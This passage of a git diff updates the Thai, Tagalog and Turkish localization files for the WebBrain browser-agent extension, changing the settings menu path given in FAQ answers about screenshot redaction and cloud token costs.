ด้วยวิธีนี้บทสนทนาและข้อความในหน้าเว็บของคุณยังคงอยู่ในเครื่อง และทุกภาพหน้าจอที่ส่งออกไปยังวิชั่นบนคลาวด์จะถูกเบลอช่องฟอร์มและอีเมล/เบอร์โทรที่ตรวจพบไว้ล่วงหน้าแล้ว — ลดความเสี่ยงบนคลาวด์โดยไม่ต้องใช้ฮาร์ดแวร์สำหรับโมเดลวิชั่นภายในเครื่องแบบเต็มรูปแบบ ตั้งค่าการแบ่งนี้ได้ที่ <strong>การตั้งค่า → วิชั่น</strong> (ดู \"WebBrain ควบคุมบิล LLM บนคลาวด์อย่างไร?\" ด้านบน)</p>",
+ "faq.screenshot_redaction.a_html": "<p>ไม่ — มันช่วยลดความเสี่ยง ไม่ใช่การรับประกัน เมื่อเปิดใช้งาน (<strong>การตั้งค่า → โมเดลเสริม → การมองเห็น → การเบลอภาพหน้าจอ</strong> ปิดอยู่โดยค่าเริ่มต้น) WebBrain จะเบลอช่องฟอร์มและข้อความที่ดูเหมือนอีเมลหรือหมายเลขโทรศัพท์บนภาพหน้าจอทุกภาพ <em>ก่อน</em> ที่จะส่งไปยังโมเดลวิชั่น การตรวจจับทำงานทั้งหมดบนอุปกรณ์ของคุณโดยใช้หลักการ DOM heuristics ไม่มีการส่งข้อมูลเพิ่มเติมใดๆ</p><p><strong>ฟีเจอร์นี้เป็นแบบ best-effort และ fail-open</strong> หากตัวตรวจจับไม่สามารถทำงานบนหน้าใดหน้าหนึ่งได้ — เช่น ทันทีหลังการนำทาง ในตัวแสดง PDF หรือบนหน้าเบราว์เซอร์ที่ถูกจำกัด — ภาพหน้าจอจะยังคงถูกส่งไปโดย<em>ไม่ถูกเบลอ</em> แทนที่จะยกเลิกงานของคุณ เนื้อหาที่หลักการ DOM heuristics มองไม่เห็น (ข้อความที่วาดบน canvas ข้อมูลส่วนบุคคลในรูปภาพ วิดเจ็ตที่ไม่ปกติ) ก็อาจหลุดรอดได้เช่นกัน และการตั้งค่านี้ครอบคลุมเฉพาะภาพหน้าจอเท่านั้น ข้อความในหน้าเว็บที่ส่งไปยังโมเดลจะไม่ถูกเบลอโดยการตั้งค่านี้</p><p><strong>หากต้องการความเป็นส่วนตัวด้านวิชั่นอย่างเต็มที่ ให้ใช้โมเดลภายในเครื่อง</strong> เมื่อใช้ผู้ให้บริการแบบออฟไลน์ เช่น llama.cpp หรือ Ollama ภาพหน้าจอและข้อความในหน้าเว็บจะไม่ออกจากเครื่องของคุณเลย จึงไม่มีอะไรต้องเบลอตั้งแต่แรก — นี่คือการตั้งค่าเดียวที่รับประกันความเป็นส่วนตัวได้จริง ดู \"ใช้ WebBrain แบบออฟไลน์ทั้งหมดได้ไหม?\" ด้านบน</p><p><strong>ไม่มีเครื่องที่แรงพอจะรันโมเดลภายในเครื่องแบบรองรับวิชั่น?</strong> ทางเลือกที่ดีคือใช้โมเดลภายในเครื่องขนาดเล็กสำหรับการวางแผนและเรียกใช้เครื่องมือ (เบาพอสำหรับ CPU/GPU ทั่วไป) ควบคู่กับผู้ให้บริการคลาวด์สำหรับการเรียกใช้วิชั่นย่อย พร้อมเปิดการเบลอภาพหน้าจอไว้ ด้วยวิธีนี้บทสนทนาและข้อความในหน้าเว็บของคุณยังคงอยู่ในเครื่อง และทุกภาพหน้าจอที่ส่งออกไปยังวิชั่นบนคลาวด์จะถูกเบลอช่องฟอร์มและอีเมล/เบอร์โทรที่ตรวจพบไว้ล่วงหน้าแล้ว — ลดความเสี่ยงบนคลาวด์โดยไม่ต้องใช้ฮาร์ดแวร์สำหรับโมเดลวิชั่นภายในเครื่องแบบเต็มรูปแบบ ตั้งค่าการแบ่งนี้ได้ที่ <strong>การตั้งค่า → โมเดลเสริม → การมองเห็น</strong> (ดู \"WebBrain ควบคุมบิล LLM บนคลาวด์อย่างไร?\" ด้านบน)</p>",
"faq.cookies_paywalls.q": "WebBrain ทำอย่างไรกับแบนเนอร์ Cookie และ paywall?",
"faq.cookies_paywalls.a_html": "<p><strong>แบนเนอร์ Cookie:</strong> WebBrain รู้จักแบนเนอร์ยินยอมจากเฟรมเวิร์กที่พบทั่วไป (OneTrust, Cookiebot, Didomi, Quantcast, Google Funding Choices, TrustArc) และปิดมันก่อนวิเคราะห์หน้า ลำดับความสำคัญคือ \"ปฏิเสธทั้งหมด\" / \"ปฏิเสธที่ไม่จำเป็น\" / \"เฉพาะจำเป็น\" เมื่อมองเห็นชัดเจน หากไม่เห็นจะกลับไปใช้ \"ยอมรับทั้งหมด\" แทนที่จะหลงทางในเขาวงกต \"จัดการการตั้งค่า\"</p><p><strong>Paywall:</strong> WebBrain รายงาน paywall อย่างตรงไปตรงมาและบอกคุณว่ามองเห็นอะไรจริง ๆ (พาดหัว สาระสั้น ๆ ย่อหน้าแรก) มัน <strong>ไม่</strong> พยายามผ่าน paywall — ไม่มี archive.today, 12ft.io, การล้าง Cookie, การปิด JS หรือเล่ห์ของโหมดผู้อ่าน หากต้องการบทความเต็ม ให้เข้าสู่ระบบด้วยสมาชิก หรือขอให้ WebBrain หาแหล่งฟรีของเรื่องเดียวกัน</p>",
"faq.multilingual.q": "WebBrain รองรับโหมด dry-run หรือไม่?",
@@ -314,7 +314,7 @@
"faq.offline_licensing.q": "Why is WebBrain 33.0.0 and later GPL-licensed?",
"faq.offline_licensing.a_html": "<p>WebBrain 33.0.0 and later is distributed under GPL-3.0-or-later because the browser extension bundles and integrates the GPL-licensed Xapian/libzim WebAssembly runtime for full-text Wikipedia ZIM search.</p><p>The extension packages include the applicable GPL notices, and complete corresponding source for the bundled runtime is published alongside each release. Releases before 33.0.0 remain MIT-licensed, and independently published subprojects and third-party components retain their stated licenses. See the <a href=\"https://github.com/webbrain-one/webbrain/blob/main/docs/offline-rag-licensing.md\" target=\"_blank\">licensing decision record</a> for details.</p>",
"faq.token_conscious.q": "WebBrain ควบคุมบิล LLM บนคลาวด์อย่างไร?",
- "faq.token_conscious.a_html": "<p>มีสามชั้นที่เป็นอิสระต่อกัน:</p><p><strong>ภาพหน้าจอประหยัดโทเค็น</strong> ก่อนรูปจะออกจากเครื่องของคุณ WebBrain ปรับขนาด (จำกัดด้านที่สั้นกว่า โดยรักษาสัดส่วน) และบีบอัด JPEG ซ้ำ ๆ จนกระทั่งพอดีกับงบโทเค็นรูปต่อเทิร์น ภาพหน้าจอ 2000×1200 ที่จะใช้โทเค็นอินพุตประมาณ 1,500 บน GPT-4o จะถูกบีบลงเหลือ ~300–500 โทเค็น โดยไม่มีความสูญเสียในทางปฏิบัติสำหรับงานอ่านหน้า ใช้งานอยู่ใน <code>_fitImageDimensions</code> พร้อมยูนิตเทสต์สำหรับคณิตศาสตร์ของงบ</p><p><strong>การตัด context อัจฉริยะ</strong> ประวัติการสนทนา เอาต์พุตของเครื่องมือ และดัมป์ DOM แบบฝังในแต่ละเทิร์นล้วนมีขีดจำกัด และจะถูกตัดจากเก่าที่สุดก่อนเมื่อหน้าต่าง context ของโมเดลที่ใช้งานอยู่ใกล้เต็ม คุณจะไม่เห็นการรันบวมขึ้นเงียบ ๆ จาก 10k โทเค็นเป็น 100k เพราะ <code>read_page</code> คืนบทความยาวขนาดนวนิยาย</p><p><strong>โมเดลด้านการมองเห็นโดยเฉพาะ</strong> จับคู่โมเดลข้อความราคาถูก (เช่น GPT-4o-mini) สำหรับการวางแผนและเรียกใช้เครื่องมือ กับโมเดลที่รองรับการมองเห็นแยก (เช่น GPT-4o) เฉพาะภาพหน้าจอ คุณจะได้ไม่ต้องจ่ายราคาของโมเดลมัลติโมดัลในทุกเทิร์น ตั้งค่าได้ที่ <strong>การตั้งค่า → การมองเห็น</strong></p><p>ผลลัพธ์สุดท้าย: เซสชันยาว ๆ กับผู้ให้บริการคลาวด์ยังคาดเดาได้ หากต้องการการควบคุมเต็มที่ ใช้ llama.cpp ภายในเครื่อง — ต้นทุนต่อโทเค็นเป็นศูนย์</p>",
+ "faq.token_conscious.a_html": "<p>มีสามชั้นที่เป็นอิสระต่อกัน:</p><p><strong>ภาพหน้าจอประหยัดโทเค็น</strong> ก่อนรูปจะออกจากเครื่องของคุณ WebBrain ปรับขนาด (จำกัดด้านที่สั้นกว่า โดยรักษาสัดส่วน) และบีบอัด JPEG ซ้ำ ๆ จนกระทั่งพอดีกับงบโทเค็นรูปต่อเทิร์น ภาพหน้าจอ 2000×1200 ที่จะใช้โทเค็นอินพุตประมาณ 1,500 บน GPT-4o จะถูกบีบลงเหลือ ~300–500 โทเค็น โดยไม่มีความสูญเสียในทางปฏิบัติสำหรับงานอ่านหน้า ใช้งานอยู่ใน <code>_fitImageDimensions</code> พร้อมยูนิตเทสต์สำหรับคณิตศาสตร์ของงบ</p><p><strong>การตัด context อัจฉริยะ</strong> ประวัติการสนทนา เอาต์พุตของเครื่องมือ และดัมป์ DOM แบบฝังในแต่ละเทิร์นล้วนมีขีดจำกัด และจะถูกตัดจากเก่าที่สุดก่อนเมื่อหน้าต่าง context ของโมเดลที่ใช้งานอยู่ใกล้เต็ม คุณจะไม่เห็นการรันบวมขึ้นเงียบ ๆ จาก 10k โทเค็นเป็น 100k เพราะ <code>read_page</code> คืนบทความยาวขนาดนวนิยาย</p><p><strong>โมเดลด้านการมองเห็นโดยเฉพาะ</strong> จับคู่โมเดลข้อความราคาถูก (เช่น GPT-4o-mini) สำหรับการวางแผนและเรียกใช้เครื่องมือ กับโมเดลที่รองรับการมองเห็นแยก (เช่น GPT-4o) เฉพาะภาพหน้าจอ คุณจะได้ไม่ต้องจ่ายราคาของโมเดลมัลติโมดัลในทุกเทิร์น ตั้งค่าได้ที่ <strong>การตั้งค่า → โมเดลเสริม → การมองเห็น</strong></p><p>ผลลัพธ์สุดท้าย: เซสชันยาว ๆ กับผู้ให้บริการคลาวด์ยังคาดเดาได้ หากต้องการการควบคุมเต็มที่ ใช้ llama.cpp ภายในเครื่อง — ต้นทุนต่อโทเค็นเป็นศูนย์</p>",
"faq.contribute.q": "ฉันสามารถมีส่วนร่วมกับ WebBrain ได้ไหม?",
"faq.contribute.a_html": "ได้สิ! WebBrain ใช้สัญญาอนุญาต GPL-3.0-or-later และยินดีรับการมีส่วนร่วม ดู <a href=\"https://github.com/webbrain-one/webbrain\" target=\"_blank\">รีโพ GitHub</a> สำหรับ issue คำขอคุณสมบัติ และแนวทางการมีส่วนร่วม",
"oss.title": "โอเพนซอร์ส 100%",
diff --git a/web/build/locales/tl.json b/web/build/locales/tl.json
index 6cec6cc19..7e59c3fed 100644
--- a/web/build/locales/tl.json
+++ b/web/build/locales/tl.json
@@ -304,7 +304,7 @@
"faq.profile.q": "Paano gumagana ang Profile auto-fill, at ligtas ba ito?",
"faq.profile.a_html": "<p>Ang Profile auto-fill ay isang opsyonal na tampok sa <strong>Settings → Profile</strong>. Maglalagay ka ng maikling bio — pangalan, work email, kumpanya, at isang <em>isahang-gamit</em> na password para sa mga low-stakes na signup — at i-on ito. Kapag naka-enable, idinaragdag ng WebBrain ang text na iyon sa system prompt ng ahente para makapag-puno ito ng signup forms nang hindi nagtatanong tuwing kailangan.</p><p>Ang text ay nakaimbak <strong>bilang plain text</strong> sa local storage ng iyong browser. <strong>Hindi</strong> ito ipinapadala sa proyektong WebBrain, ngunit <strong>ipinapadala</strong> ito sa kung anong LLM provider ang iyong na-configure sa bawat turn, bilang bahagi ng system prompt. Naka-off bilang default.</p><p><strong>Huwag maglagay ng mga password para sa mahahalagang account</strong> (Google, Apple, iCloud, banking, work SSO, primary email) dito. Dapat gumamit ng 2FA ang mga account na iyon at hindi naman dapat ipinapasa sa isang ahente. Ang inilaang gamit ay isang isahang-gamit na password na ginagamit mo ulit para sa mga newsletter signup at libreng trial.</p>",
"faq.screenshot_redaction.q": "Ginagarantiyahan ba ng setting na Pagbura sa screenshot na hindi kailanman maaabot ng cloud vision model ang aking pribadong data?",
- "faq.screenshot_redaction.a_html": "<p>Hindi — binabawasan lang nito ang exposure, hindi ito garantiya. Kapag naka-enable (<strong>Settings → Multimodal → Screenshot redaction</strong>, naka-off bilang default), binuburahan ng WebBrain ang mga form field at tekstong mukhang email address o numero ng telepono sa bawat screenshot <em>bago</em> ito ipadala sa isang vision model. Tumatakbo ang detection nang buo sa iyong device gamit ang DOM heuristics; walang karagdagang ipinapadala.</p><p><strong>Best-effort at fail-open ito.</strong> Kung hindi matakbo ang detector sa isang page — halimbawa, agad pagkatapos mag-navigate, sa mga PDF viewer, o sa mga restricted browser page — ipapadala pa rin ang screenshot <em>nang hindi nabura</em> sa halip na kanselahin ang iyong task. Puwede ring makalusot ang nilalamang hindi nakikita ng DOM heuristics (tekstong iginuhit sa canvas, personal na impormasyon sa loob ng mga larawan, hindi karaniwang widget). At sinasaklaw lang ng setting na ito ang mga screenshot: hindi binubura nito ang <em>text</em> ng page na ipinapadala sa model.</p><p><strong>Para sa ganap na privacy sa vision, gumamit ng local model.</strong> Gamit ang offline provider tulad ng llama.cpp o Ollama, hindi kailanman aalis sa iyong device ang mga screenshot at text ng page, kaya wala talagang burahin sa umpisa pa lang — ito lang ang setup kung saan ganap na ginagarantiya ang privacy. Tingnan ang \"Magagamit ko ba ang WebBrain nang ganap na offline?\" sa itaas.</p><p><strong>Walang device na kayang magpatakbo ng local model na may vision?</strong> Magandang gitnang solusyon ang paggamit ng maliit na local model para sa planning at pag-call ng tools (magaan na kayang tumakbo kahit sa ordinaryong CPU/GPU), kasama ang isang cloud provider para sa vision sub-calls, habang naka-on ang Screenshot redaction. Nananatili pa rin sa device mo ang iyong usapan at text ng page, at bawat screenshot na aalis papunta sa cloud vision ay bura na muna ang mga form field at nadetect na email/telepono — mas kaunting exposure sa cloud nang hindi na kailangan ng hardware para sa isang buong local vision model. I-configure ang paghahati na ito sa <strong>Settings → Vision</strong> (tingnan ang \"Paano kinokontrol ng WebBrain ang singil sa cloud LLM?\" sa itaas).</p>",
+ "faq.screenshot_redaction.a_html": "<p>Hindi — binabawasan lang nito ang exposure, hindi ito garantiya. Kapag naka-enable (<strong>Settings → Mga Pantulong na Modelo → Bisyon → Screenshot redaction</strong>, naka-off bilang default), binuburahan ng WebBrain ang mga form field at tekstong mukhang email address o numero ng telepono sa bawat screenshot <em>bago</em> ito ipadala sa isang vision model. Tumatakbo ang detection nang buo sa iyong device gamit ang DOM heuristics; walang karagdagang ipinapadala.</p><p><strong>Best-effort at fail-open ito.</strong> Kung hindi matakbo ang detector sa isang page — halimbawa, agad pagkatapos mag-navigate, sa mga PDF viewer, o sa mga restricted browser page — ipapadala pa rin ang screenshot <em>nang hindi nabura</em> sa halip na kanselahin ang iyong task. Puwede ring makalusot ang nilalamang hindi nakikita ng DOM heuristics (tekstong iginuhit sa canvas, personal na impormasyon sa loob ng mga larawan, hindi karaniwang widget). At sinasaklaw lang ng setting na ito ang mga screenshot: hindi binubura nito ang <em>text</em> ng page na ipinapadala sa model.</p><p><strong>Para sa ganap na privacy sa vision, gumamit ng local model.</strong> Gamit ang offline provider tulad ng llama.cpp o Ollama, hindi kailanman aalis sa iyong device ang mga screenshot at text ng page, kaya wala talagang burahin sa umpisa pa lang — ito lang ang setup kung saan ganap na ginagarantiya ang privacy. Tingnan ang \"Magagamit ko ba ang WebBrain nang ganap na offline?\" sa itaas.</p><p><strong>Walang device na kayang magpatakbo ng local model na may vision?</strong> Magandang gitnang solusyon ang paggamit ng maliit na local model para sa planning at pag-call ng tools (magaan na kayang tumakbo kahit sa ordinaryong CPU/GPU), kasama ang isang cloud provider para sa vision sub-calls, habang naka-on ang Screenshot redaction. Nananatili pa rin sa device mo ang iyong usapan at text ng page, at bawat screenshot na aalis papunta sa cloud vision ay bura na muna ang mga form field at nadetect na email/telepono — mas kaunting exposure sa cloud nang hindi na kailangan ng hardware para sa isang buong local vision model. I-configure ang paghahati na ito sa <strong>Settings → Mga Pantulong na Modelo → Bisyon</strong> (tingnan ang \"Paano kinokontrol ng WebBrain ang singil sa cloud LLM?\" sa itaas).</p>",
"faq.cookies_paywalls.q": "Ano ang ginagawa ng WebBrain sa cookie banners at paywalls?",
"faq.cookies_paywalls.a_html": "<p><strong>Cookie banners:</strong> Tinutukoy ng WebBrain ang consent banners mula sa mga karaniwang framework (OneTrust, Cookiebot, Didomi, Quantcast, Google Funding Choices, TrustArc) at isinasara ang mga ito bago mag-reason tungkol sa pahina. Ang priority ay \"Reject all\" / \"Reject non-essential\" / \"Only necessary\" kapag malinaw na nakikita; bumabalik ito sa \"Accept all\" sa halip na maglaho sa \"Manage preferences\" na maze.</p><p><strong>Paywalls:</strong> Tapat na inulat ng WebBrain ang paywall at sasabihin sa iyo kung ano talaga ang nakita nito (headline, dek, mga unang talata). <strong>Hindi</strong> nito sinusubukang i-bypass ang mga paywall — walang archive.today, 12ft.io, pagtatanggal ng cookie, pag-disable ng JS, o reader-mode tricks. Kung gusto mo ang buong artikulo, mag-log in gamit ang subscription o hilingin sa WebBrain na maghanap ng libreng coverage ng parehong kwento.</p>",
"faq.multilingual.q": "Sinusuportahan ba ng WebBrain ang dry-run mode?",
@@ -314,7 +314,7 @@
"faq.offline_licensing.q": "Why is WebBrain 33.0.0 and later GPL-licensed?",
"faq.offline_licensing.a_html": "<p>WebBrain 33.0.0 and later is distributed under GPL-3.0-or-later because the browser extension bundles and integrates the GPL-licensed Xapian/libzim WebAssembly runtime for full-text Wikipedia ZIM search.</p><p>The extension packages include the applicable GPL notices, and complete corresponding source for the bundled runtime is published alongside each release. Releases before 33.0.0 remain MIT-licensed, and independently published subprojects and third-party components retain their stated licenses. See the <a href=\"https://github.com/webbrain-one/webbrain/blob/main/docs/offline-rag-licensing.md\" target=\"_blank\">licensing decision record</a> for details.</p>",
"faq.token_conscious.q": "Paano kinokontrol ng WebBrain ang singil sa cloud LLM?",
- "faq.token_conscious.a_html": "<p>Tatlong magkakahiwalay na layer:</p><p><strong>Mga screenshot na pinatipid sa tokens.</strong> Bago umalis sa iyong makina ang anumang larawan, binabago ng WebBrain ang sukat nito (may cap sa shorter side, pinapanatili ang aspect ratio) at iteratively na nila-JPEG-compress hanggang kasya ito sa per-turn image-token budget. Ang isang 2000×1200 na screenshot na gagastos ng ~1,500 input tokens sa GPT-4o ay napi-compress sa ~300–500 tokens na walang praktikal na pagkawala para sa mga gawaing nagbabasa ng pahina. Ipinatupad sa <code>_fitImageDimensions</code> kasama ang unit tests para sa budget math.</p><p><strong>Matalinong context trimming.</strong> Ang kasaysayan ng usapan, output ng mga tool, at mga inline DOM dump ay limitado per turn at binabawasan na nag-uunang sa pinakamatandang kapag ang context window ng aktibong modelo ay malapit nang mapuno. Hindi mo makikita na ang isang run ay tahimik na lumaki mula 10k tokens patungong 100k dahil nagbalik ang <code>read_page</code> ng isang artikulong kasinghaba ng nobela.</p><p><strong>Nakalaang vision model.</strong> Magsama ng murang text model (hal. GPT-4o-mini) para sa pagpaplano at tool calls sa isang hiwalay na vision-capable na modelo (hal. GPT-4o) para lang sa mga screenshot, kaya hindi mo babayaran ang presyo ng multimodal-model sa bawat turn. I-configure sa ilalim ng <strong>Settings → Vision</strong>.</p><p>Net result: mananatiling predictable ang mahahabang sesyon sa cloud providers. Para sa buong kontrol, gamitin ang llama.cpp nang lokal — zero ang cost per token.</p>",
+ "faq.token_conscious.a_html": "<p>Tatlong magkakahiwalay na layer:</p><p><strong>Mga screenshot na pinatipid sa tokens.</strong> Bago umalis sa iyong makina ang anumang larawan, binabago ng WebBrain ang sukat nito (may cap sa shorter side, pinapanatili ang aspect ratio) at iteratively na nila-JPEG-compress hanggang kasya ito sa per-turn image-token budget. Ang isang 2000×1200 na screenshot na gagastos ng ~1,500 input tokens sa GPT-4o ay napi-compress sa ~300–500 tokens na walang praktikal na pagkawala para sa mga gawaing nagbabasa ng pahina. Ipinatupad sa <code>_fitImageDimensions</code> kasama ang unit tests para sa budget math.</p><p><strong>Matalinong context trimming.</strong> Ang kasaysayan ng usapan, output ng mga tool, at mga inline DOM dump ay limitado per turn at binabawasan na nag-uunang sa pinakamatandang kapag ang context window ng aktibong modelo ay malapit nang mapuno. Hindi mo makikita na ang isang run ay tahimik na lumaki mula 10k tokens patungong 100k dahil nagbalik ang <code>read_page</code> ng isang artikulong kasinghaba ng nobela.</p><p><strong>Nakalaang vision model.</strong> Magsama ng murang text model (hal. GPT-4o-mini) para sa pagpaplano at tool calls sa isang hiwalay na vision-capable na modelo (hal. GPT-4o) para lang sa mga screenshot, kaya hindi mo babayaran ang presyo ng multimodal-model sa bawat turn. I-configure sa ilalim ng <strong>Settings → Mga Pantulong na Modelo → Bisyon</strong>.</p><p>Net result: mananatiling predictable ang mahahabang sesyon sa cloud providers. Para sa buong kontrol, gamitin ang llama.cpp nang lokal — zero ang cost per token.</p>",
"faq.contribute.q": "Maaari ba akong mag-contribute sa WebBrain?",
"faq.contribute.a_html": "Talagang pwede! Naka-GPL-3.0-or-later license ang WebBrain at tumatanggap ng mga contribution. Tingnan ang <a href=\"https://github.com/webbrain-one/webbrain\" target=\"_blank\">GitHub repository</a> para sa mga issue, feature request, at contribution guidelines.",
"oss.title": "100% Open Source",
diff --git a/web/build/locales/tr.json b/web/build/locales/tr.json
index c38579f14..5dd205ff6 100644
--- a/web/build/locales/tr.json
+++ b/web/build/locales/tr.json
@@ -304,7 +304,7 @@
"faq.profile.q": "Profil otomatik doldurma nasıl çalışır ve güvenli mi?",
"faq.profile.a_html": "<p>Profil otomatik doldurma, <strong>Ayarlar → Profil</strong> altında isteğe bağlı bir özelliktir. Kısa bir biyografi girersin — ad, iş e-postası, şirket ve düşük riskli kayıtlar için <em>tek kullanımlık</em> bir parola — ve açarsın. Etkinleştirildiğinde WebBrain bu metni ajanın sistem istemine ekler, böylece kayıt formlarını her seferinde sormadan doldurabilir.</p><p>Metin tarayıcının yerel depolamasında <strong>düz metin olarak</strong> saklanır. <strong>WebBrain projesine iletilmez</strong> ama yapılandırdığın LLM sağlayıcısına her turda sistem isteminin bir parçası olarak <strong>gönderilir</strong>. Varsayılan kapalı.</p><p><strong>Önemli hesapların parolalarını</strong> (Google, Apple, iCloud, bankacılık, iş SSO'su, birincil e-posta) buraya koyma. Bu hesaplar 2FA kullanmalı ve zaten bir ajana teslim edilmemeli. Amaçlanan kullanım durumu, bülten kayıtları ve ücretsiz denemeler için tekrar tekrar kullandığın tek kullanımlık bir paroladır.</p>",
"faq.screenshot_redaction.q": "Ekran görüntüsü sansürleme ayarı, özel verilerimin bir bulut görüntü modeline asla ulaşmayacağını garanti eder mi?",
- "faq.screenshot_redaction.a_html": "<p>Hayır — maruziyeti azaltır, bir garanti değildir. Etkinleştirildiğinde (<strong>Ayarlar → Çok kipli → Ekran görüntüsü sansürleme</strong>, varsayılan olarak kapalı), WebBrain her ekran görüntüsündeki form alanlarını ve e-posta adresi ya da telefon numarasına benzeyen metni, bir görüntü modeline gönderilmeden <em>önce</em> pikselleştirir. Algılama tamamen cihazınızda DOM sezgisel yöntemleriyle çalışır; fazladan hiçbir şey iletilmez.</p><p><strong>En iyi çaba ilkesiyle çalışır ve fail-open'dır.</strong> Algılayıcı bir sayfada çalışamazsa — örneğin bir gezinmeden hemen sonra, PDF görüntüleyicilerde veya kısıtlı tarayıcı sayfalarında — görevinizi iptal etmek yerine ekran görüntüsü yine de <em>sansürlenmeden</em> gönderilir. DOM sezgisel yöntemlerinin göremediği içerikler (bir canvas üzerine çizilmiş metin, görsellerin içindeki kişisel veriler, alışılmadık bileşenler) de gözden kaçabilir. Ve bu ayar yalnızca ekran görüntülerini kapsar: modele gönderilen sayfa <em>metni</em> bu ayarla sansürlenmez.</p><p><strong>Tam görüntü gizliliği için yerel bir model kullanın.</strong> llama.cpp veya Ollama gibi çevrimdışı bir sağlayıcıyla, ekran görüntüleri ve sayfa metni hiçbir zaman makinenizden çıkmaz, dolayısıyla sansürlenecek bir şey baştan olmaz — gizliliğin garanti edildiği tek yapılandırma budur. Yukarıdaki \"WebBrain'i tamamen çevrimdışı kullanabilir miyim?\" bölümüne bakın.</p><p><strong>Görüntü destekli yerel bir model çalıştıramayacak kadar mütevazı bir makineniz mi var?</strong> İyi bir orta yol, planlama ve araç çağrıları için küçük bir yerel model (mütevazı bir CPU/GPU için yeterince hafif) ile görüntü alt çağrıları için bir bulut sağlayıcısını, Ekran görüntüsü sansürleme açıkken birlikte kullanmaktır. Konuşmanız ve sayfa metni yine cihazınızda kalır, bulut görüntüye giden her ekran görüntüsünde form alanları ve algılanan e-posta/telefonlar önceden bulanıklaştırılmış olur — tam bir yerel görüntü modeli için donanıma ihtiyaç duymadan azaltılmış bulut maruziyeti. Bu görüntü ayrımını <strong>Ayarlar → Görüntü</strong> altından yapılandırın (yukarıdaki \"WebBrain bulut LLM faturalarını nasıl kontrol altında tutar?\" bölümüne bakın).</p>",
+ "faq.screenshot_redaction.a_html": "<p>Hayır — maruziyeti azaltır, bir garanti değildir. Etkinleştirildiğinde (<strong>Ayarlar → Yardımcı Modeller → Görme → Ekran görüntüsü sansürleme</strong>, varsayılan olarak kapalı), WebBrain her ekran görüntüsündeki form alanlarını ve e-posta adresi ya da telefon numarasına benzeyen metni, bir görüntü modeline gönderilmeden <em>önce</em> pikselleştirir. Algılama tamamen cihazınızda DOM sezgisel yöntemleriyle çalışır; fazladan hiçbir şey iletilmez.</p><p><strong>En iyi çaba ilkesiyle çalışır ve fail-open'dır.</strong> Algılayıcı bir sayfada çalışamazsa — örneğin bir gezinmeden hemen sonra, PDF görüntüleyicilerde veya kısıtlı tarayıcı sayfalarında — görevinizi iptal etmek yerine ekran görüntüsü yine de <em>sansürlenmeden</em> gönderilir. DOM sezgisel yöntemlerinin göremediği içerikler (bir canvas üzerine çizilmiş metin, görsellerin içindeki kişisel veriler, alışılmadık bileşenler) de gözden kaçabilir. Ve bu ayar yalnızca ekran görüntülerini kapsar: modele gönderilen sayfa <em>metni</em> bu ayarla sansürlenmez.</p><p><strong>Tam görüntü gizliliği için yerel bir model kullanın.</strong> llama.cpp veya Ollama gibi çevrimdışı bir sağlayıcıyla, ekran görüntüleri ve sayfa metni hiçbir zaman makinenizden çıkmaz, dolayısıyla sansürlenecek bir şey baştan olmaz — gizliliğin garanti edildiği tek yapılandırma budur. Yukarıdaki \"WebBrain'i tamamen çevrimdışı kullanabilir miyim?\" bölümüne bakın.</p><p><strong>Görüntü destekli yerel bir model çalıştıramayacak kadar mütevazı bir makineniz mi var?</strong> İyi bir orta yol, planlama ve araç çağrıları için küçük bir yerel model (mütevazı bir CPU/GPU için yeterince hafif) ile görüntü alt çağrıları için bir bulut sağlayıcısını, Ekran görüntüsü sansürleme açıkken birlikte kullanmaktır. Konuşmanız ve sayfa metni yine cihazınızda kalır, bulut görüntüye giden her ekran görüntüsünde form alanları ve algılanan e-posta/telefonlar önceden bulanıklaştırılmış olur — tam bir yerel görüntü modeli için donanıma ihtiyaç duymadan azaltılmış bulut maruziyeti. Bu görüntü ayrımını <strong>Ayarlar → Yardımcı Modeller → Görme</strong> altından yapılandırın (yukarıdaki \"WebBrain bulut LLM faturalarını nasıl kontrol altında tutar?\" bölümüne bakın).</p>",
"faq.cookies_paywalls.q": "WebBrain, çerez banner'ları ve ödeme duvarlarıyla ne yapar?",
"faq.cookies_paywalls.a_html": "<p><strong>Çerez banner'ları:</strong> WebBrain yaygın çerçevelerin (OneTrust, Cookiebot, Didomi, Quantcast, Google Funding Choices, TrustArc) onay banner'larını tanır ve sayfa üzerinde akıl yürütmeden önce kapatır. Öncelik açıkça görünürse «Tümünü reddet» / «Gerekli olmayanları reddet» / «Yalnızca gerekliler»; aksi hâlde «Tercihleri yönet» labirentine kaybolmak yerine «Tümünü kabul et»e düşer.</p><p><strong>Ödeme duvarları:</strong> WebBrain ödeme duvarını dürüstçe bildirir ve gerçekten ne gördüğünü (başlık, alt başlık, ilk paragraflar) söyler. Ödeme duvarlarını aşmaya <strong>çalışmaz</strong> — ne archive.today, ne 12ft.io, ne çerez silme, ne JS devre dışı bırakma, ne okuma modu hileleri. Tam makaleyi istiyorsan abonelikle giriş yap ya da WebBrain'den aynı haberin ücretsiz kapsamını aramasını iste.</p>",
"faq.multilingual.q": "WebBrain dry-run modunu destekliyor mu?",
@@ -314,7 +314,7 @@
"faq.offline_licensing.q": "Why is WebBrain 33.0.0 and later GPL-licensed?",
"faq.offline_licensing.a_html": "<p>WebBrain 33.0.0 and later is distributed under GPL-3.0-or-later because the browser extension bundles and integrates the GPL-licensed Xapian/libzim WebAssembly runtime for full-text Wikipedia ZIM search.</p><p>The extension packages include the applicable GPL notices, and complete corresponding source for the bundled runtime is published alongside each release. Releases before 33.0.0 remain MIT-licensed, and independently published subprojects and third-party components retain their stated licenses. See the <a href=\"https://github.com/webbrain-one/webbrain/blob/main/docs/offline-rag-licensing.md\" target=\"_blank\">licensing decision record</a> for details.</p>",
"faq.token_conscious.q": "WebBrain bulut LLM faturalarını nasıl kontrol altında tutar?",
- "faq.token_conscious.a_html": "<p>Üç bağımsız katman:</p><p><strong>Token bilincine sahip ekran görüntüleri.</strong> Herhangi bir görüntü makineden çıkmadan önce WebBrain onu yeniden boyutlandırır (kısa kenar sınırlanır, en-boy oranı korunur) ve tur başına görüntü token bütçesine sığana kadar yinelemeli olarak JPEG sıkıştırır. GPT-4o'da sana yaklaşık 1.500 giriş tokeni mal olacak 2000×1200 bir ekran görüntüsü, sayfa okuma görevlerinde pratik kayıp olmaksızın yaklaşık 300–500 tokene inerek sıkıştırılır. <code>_fitImageDimensions</code> içinde uygulanır, bütçe matematiği için birim testleri vardır.</p><p><strong>Akıllı bağlam kırpma.</strong> Konuşma geçmişi, araç çıktıları ve satır içi DOM dökümleri tur başına sınırlıdır ve aktif modelin bağlam penceresi dolmaya yaklaştığında önce en eskilerden kırpılır. Bir <code>read_page</code> roman 